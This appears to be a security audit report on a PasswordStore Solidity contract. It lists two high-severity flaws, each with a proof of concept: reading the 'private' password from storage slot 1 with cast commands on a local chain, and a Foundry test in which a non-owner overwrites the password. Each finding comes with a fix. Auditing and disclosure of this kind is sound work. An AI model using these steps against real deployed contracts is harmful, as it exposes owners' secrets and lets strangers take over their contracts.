Protocol Audit Report

Version 1.0

fervidflame

October 27, 2025

Protocol Audit Report

fervidflame

October 27th, 2025

Prepared by: fervidflame

Lead Security Researcher(s): fervidflame

Assisting Auditors: None

Table of Contents

Protocol Summary

PasswordStore is a protocol dedicated to storage and retrieval of a user's passwords. The protocol is designed to be used by a single user, and is not designed to be used by multiple users. Only the owner should be able to set and access this password.

Disclaimer

The fervidflame team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Table 1: We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
7d55682ddc4301a7b13ae9413095feffd9924566
```

Scope

```
./src/
#-- PasswordStore.sol
```

Roles

- Owner: Is the only one who should be able to interact with the contract and set and access the password.
- Outsiders: No one else should be able to set or read the password. # Executive Summary I spent around 8 hours using manual review and Foundry to review this codebase. In total, I found 3 issues, 2 high and 1 informational severities. ## Issues

Table 2: List and quantity of severities.

Severity	Number of issues found
High	2
Medium	0
Low	0
Info	1
Total	3

Findings

High

[H-1] Storing the password on-chain, makes it visisble to anyone, and no longer private.

Description: All data stored on-chain is visible to anyone, and can be read directly from the blockchain. The `PasswordStore::s_password` varibale is intended to be a private variable and only accessed through the `PasswordStore::getPassword` function, which is intented to be only called by the owner of the contract.

I show one such method reading any data off-chain below.

Impact: Anyone is able to read the private password, severely breaking the functionality of the protocol.

Proof of Concept: 1. Create a locally running chain

```
make anvil
```

2. Deploy the contract to the chain

```
make deploy
```

3. Run the storage tool

We use 1 because that's the storage slot of s_password in the contract.

```
cast storage <ADDRESS_HERE> 1 --rpc-url http://127.0.0.1:8545
```

You'll get an output that looks like this:

```
0x6d7950617373776f726400000000000000000000000000000000000000000014
```

You can then parse that hex to a string with:

```
cast parse-bytes32-string
↪  0x6d7950617373776f726400000000000000000000000000000000000000000014
```

And get an output of:

```
myPassword
```

Recommended Mitigation: Due to this, the overall architecture of the contract should be rethought. One could encrypt the password off-chain, and then store the encrypted password on-chain. This would require the user to remember another password off-chain to decrypt the stored password. However, you're also likely want to remove the view function as you wouldn't want the user to accidentally send a transaction with this decryption key.

[H-2] `PasswordStore::setPassword` has no access controls, meaning a non-owner could change the password

Description: The `PasswordStore::setPassword function` is set to be an external function, however the purpose of the smart contract and function's natspec indicate that `This function allows only the owner to set a new password.`

```
function setPassword(string memory newPassword) external {
```

```
// @Audit - There are no Access Controls.

s_password = newPassword;

emit SetNewPassword();

}
```

Impact: Anyone can set/change the stored password, severely breaking the contract's intended functionality.

Proof of Concept:

Code

```
  function test_anyone_can_set_password(address randomAddress) public {
        vm.assume(randomAddress != owner);

        vm.startPrank(randomAddress);

        string memory expectedPassword = "myNewPassword";

        passwordStore.setPassword(expectedPassword);

        vm.startPrank(owner);

        string memory actualPassword = passwordStore.getPassword();

        assertEq(actualPassword, expectedPassword);
    }
```

Recommended Mitigation: Add an access control conditional to `PasswordStore::setPassword`.

```
if(msg.sender != s_owner){

revert PasswordStore__NotOwner();

}
```

Informational

[I-1] The `PasswordStore::getPassword` natspec indicates a parameter that doesn't exist, causing the natspec to be incorrect.

Description:

```
/*

* @notice This allows only the owner to retrieve the password.

@> * @param newPassword The new password to set.

*/

function getPassword() external view returns (string memory) {}
```

The `PasswordStore::getPassword` function signature is `getPassword()` while the natspec says it should be `getPassword(string)`.

Impact: The natspec is incorrect.

Recommended Mitigation: Remove the incorrect natspec line.

```
/*

* @notice This allows only the owner to retrieve the password.

- * @param newPassword The new password to set.

*/
```